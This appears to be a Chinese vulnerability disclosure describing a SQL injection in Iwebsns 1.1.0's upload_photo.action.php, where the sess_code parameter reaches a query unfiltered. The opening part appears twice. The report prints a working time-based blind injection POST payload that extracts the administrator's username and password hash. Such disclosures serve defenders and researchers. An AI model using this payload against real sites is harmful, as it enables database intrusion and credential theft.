### 简要描述: Iwebsns最新版SQL注入第四枚 ### 详细说明: 在wooyun上看到雨牛提了5个iwebsns的漏洞了( [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ),我来捡捡漏儿吧,已对比,不重复,下载Iwebsns最新的1.1.0来看看。 为了使审核的大大们容易确认是否有重复,我先把存在漏洞的文件和注入参数分别写在这里:/action/event/upload_photo.action.php sess_code= 下面看看漏洞是怎么产生的 /action/event/upload_photo.action.php ``` 无关代码 $event_id=intval(get_argg('id')); $session_code=get_argp('sess_code'); $success = "false"; $data =''; $data_ser=''; $affair_ser=''; $code_array=array(); $errors = array(); $album_row=array(); $fs=array(); $data_array=array(); $affair_array=array(); $session_data=array(); //数据表 $t_event=$tablePreStr."event"; $t_event_photo = $tablePreStr."event_photo"; $t_online = $tablePreStr."online"; $t_tmp_file = $tablePreStr."tmp_file"; $dbo = new dbex; //读写分离定义函数 dbtarget('r',$dbServs); //验证用户权限 if(empty($session_code)){ $success = "false"; exit; } $code_array=explode("|",$session_code); $sql="select user_id,user_name,user_ico,session_code from $t_online where...
### 简要描述: Iwebsns最新版SQL注入第四枚 ### 详细说明: 在wooyun上看到雨牛提了5个iwebsns的漏洞了( [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ),我来捡捡漏儿吧,已对比,不重复,下载Iwebsns最新的1.1.0来看看。 为了使审核的大大们容易确认是否有重复,我先把存在漏洞的文件和注入参数分别写在这里:/action/event/upload_photo.action.php sess_code= 下面看看漏洞是怎么产生的 /action/event/upload_photo.action.php ``` 无关代码 $event_id=intval(get_argg('id')); $session_code=get_argp('sess_code'); $success = "false"; $data =''; $data_ser=''; $affair_ser=''; $code_array=array(); $errors = array(); $album_row=array(); $fs=array(); $data_array=array(); $affair_array=array(); $session_data=array(); //数据表 $t_event=$tablePreStr."event"; $t_event_photo = $tablePreStr."event_photo"; $t_online = $tablePreStr."online"; $t_tmp_file = $tablePreStr."tmp_file"; $dbo = new dbex; //读写分离定义函数 dbtarget('r',$dbServs); //验证用户权限 if(empty($session_code)){ $success = "false"; exit; } $code_array=explode("|",$session_code); $sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]"; $user_row=$dbo->getRow($sql); if(empty($user_row)){ $success = "false";exit; } 无关代码 ``` 可以看到下面的语句 ``` $code_array=explode("|",$session_code); $sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]"; $user_row=$dbo->getRow($sql); ``` 没有经过过滤,就带入SQL执行了。 Iwebsns没有错误回显,这里用time-based blind进行注入测试。 Paload: ``` POST /do.php?act=event_upload_photo HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=user_info&is_finish=1 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=xxxx@163.com; PHPSESSID=5j1qplgaimc7dgcqt3n109qgj1; IsReged=Y Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 128 id=1&sess_code=2|-1 or (select if(ord(mid((select admin_name from isns_admin where admin_id=1 limit 0,1),1,1))=0x7a,sleep(3),0)) ``` 猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201412/09235924b7a7e7cf482f3ded8b7668a711462850.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/09235924b7a7e7cf482f3ded8b7668a711462850.jpg) 若正确,延迟5s左右,如下图 [<img src="https://images.seebug.org/upload/201412/10000049b0be4c40e772359e269490d83a37df5e.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/10000049b0be4c40e772359e269490d83a37df5e.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明: 见 详细说明